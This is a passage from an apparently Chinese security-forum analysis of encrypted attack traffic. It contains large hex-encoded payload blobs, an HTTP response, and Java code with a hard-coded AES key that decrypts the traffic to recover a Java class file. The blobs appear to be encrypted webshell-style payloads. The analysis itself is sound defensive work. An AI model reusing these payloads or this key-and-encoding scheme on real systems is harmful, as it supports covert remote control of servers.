3e303dd2755d939ae08c77bb032cd30d00b7fd93891ae5ab14ede4c2f6b37d00d7020ad1f173831f657552df44791a2b1341bf564e47b7fce112613eccd89dd4ccac5ab51b26ae696353d4f77e20d9bc20c2d1342c3c7f8d5b4db54b75d9e10bf80b7ca4619d589579613b02a35689dde6ed3295850af4ba34db193911b6fd4811c7b38005486006d00c9e1efe19e25d247023b356f411875a3bcf16dce6c10375a036c8a37e3f8edb908460d49af82be07e446451c30463f5500e791f0a99445c526f0dbde97567510ab42ae39c76abfe5be1a08edede7f636f5af197050dac85028975cc28a0b55753b70c7a351ace0b5b037f8c2875816f3124e89291928cf9107211f005a893f60e5cbbf0f8d923c21cf1a40b23097275cbb294bf8c109f02850b1180769eb66616f7301adc38edb27c1e22e39259c753708cc10ba6ddda38f9779ff182a2277f7609ba0afebdebf7b6583b51b98acf93211aaa14d7a6471cc7371f1b4e9fde6c1842d6468d63d3d4abec6ac8f993092468bcbeb47ea19b4aa54ab23393c961f568f1ad84dd31d09c31836940547010aca6dbef726db095f942ebe1b5c18782d33cea64d08f3d8049e11c263d0efa4d709e96d9cb8757b758b47071144d125bdf88597d32d2af3b0193fc18814256e0b80f9ffe0616098f0225fdaa6affdb19f6dd9a5800b53d4fbec91ca8a6a4ba17c378757c6685f3fe50aff75fcbfaae63c33bcfd9ebcf02ecd3020a0474c398d87a89ec077f26756afbedce55821f31d1b001a2237409c1d094dd0feea3eaeddda2a5ff3955fab5b3b9748d2280c0e12644ec26710141605c904672963927e6f978c2494cecbb4462236cbf9a732c37ef7ea610a589d22c24baf6741dac1c28cab07259a9c4530d6e89ec270f8ca7a404f63a562c58935d95c0eb35dfd3d2555905195ef643dcf78e76c62bd39c2a9e4410781e80323665aa8e945f6582d319ccd65e9964e6152ba25494e68cf3e8271cffa9bc435a5922728078f646523bb89f0d6295910376ce95118b4067d465e01cdfc9a0192e89feb19e4a52b92ebf4d5caf9ed1857041a3c21fbf6aa9c4790ac8388ec698d1cb618a1cc0b90d897d730718a73556e5506aac230a94aa5118c5f44f812c0d0793ae499ac1586e86a2d151c730a03820a52c6eacb99c907b83268a449bbe973fd52179e1fccff52dbf6c0e27158259acbda829127c18304f2a1a0e28fbcb701ee46ac42c8cea493ca5d48e7bb3ec134718d0b8978ba12e2362f6370fba6fca27f37cd11c1147726de07091e7582c4517dc767026f0087f7b718f1e71b25a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"} HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Set-Cookie: JSESSIONID=66F5F21745E86D7D60B9253FABA7D17A.server; Path=/; HttpOnly Content-Type: text/xml;charset=UTF-8 Content-Length: 0 Date: Mon, 25 Jul 2022 11:16:17 GMT Connection: close ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-42c2964ed327096fe3fc8c9e80530689dfaf0482.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3c09ee80111473980804802c7b9457e7a009c6dc.png) 我们可以很明显的发现class的特征,CAFEBA ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-22f99397b20a8cbf73527f962fb8ee15e3c06154.png) 我们将字节码进行提取,并使用jd-gui进行打开,发现并不能打开,因此,咨询相关师傅后,可能是在读取解码过程中发生了问题, ```java package nuc.edu.hello.controller; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; public class Test { public static byte[] aes128(byte[] s, int mode) { try { Cipher c = Cipher.getInstance("AES"); c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch (Exception exception) { return null; } } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null; String str; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); str=str.replace("\n", "").replace("\r", ""); encrypted=str.getBytes(); } catch (Exception exception1) { } } return encrypted; } public static void main(String[] args) throws IOException { String b = "{\"kvs\":{\"SaveLogResult\":[0]},\"tags\":{\"isSucc\":true,\"sdkVersion\":\"2.1.4\",\"projectName\":\"Publish\"},\"extraData\":\"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25d